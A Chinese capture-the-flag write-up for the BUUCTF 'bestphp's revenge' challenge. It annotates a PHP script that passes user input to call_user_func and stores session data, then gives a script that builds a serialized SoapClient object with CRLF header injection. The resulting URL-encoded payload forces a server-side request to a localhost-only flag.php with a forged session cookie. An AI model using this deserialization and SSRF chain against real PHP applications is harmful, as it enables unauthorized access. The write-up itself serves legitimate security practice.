135,【2】 buuctf web bestphp‘s revenge

进入靶场

分析代码

php 复制代码
<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);

// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';

// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);

// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();

// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);

// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果
注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作
还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; flag = 'LCTF{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}'; if(_SERVER"REMOTE_ADDR"==="127.0.0.1"){ _SESSION\['flag'\] = flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

php 复制代码
<?php

$target ='http://127.0.0.1/flag.php';

$b = new SoapClient(null,array('location'=>$target,

'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车

'uri' => "http://127.0.0.1/"));

$se = serialize($b);

echo "|" . urlencode($se);

?>

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

相关推荐
智塑未来7 小时前
中小公司在线文档选型:从协作入口到安全边界
运维·安全
山东科恩光电7 小时前
提升橡塑行业安全性,科恩密佑KKL-01光敏传感器的应用优势与前景
安全
是隼人9 小时前
buuctf-pwn xdctf2015_pwn200题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
Dovis(誓平步青云)12 小时前
折叠屏悬停看视频,上半屏和下半屏应该各做什么
android·java·服务器·开发语言·安全·音视频
2601_9620725014 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
IT大白鼠14 小时前
MSF数据库与资产管理——专业渗透测试流程
数据库·安全·msf
飞飞传输15 小时前
国产化 MOVEit 替代:文件传输架构与安全能力深度解读
大数据·运维·安全
黄俊懿15 小时前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第十节:网关安全-单向加密
网络·数据库·计算机网络·安全·架构·系统架构·架构师
海盗123416 小时前
AI新闻日报_2026-08-24——AI 安全从理论风险变成现实事件——Coding Agent 越狱与具身机器人运动会共塑“干活即合规“新基线
人工智能·安全·机器人
cfm_291416 小时前
ConcurrentHashMap 线程安全机制与 JDK 1.8 演进
java·开发语言·安全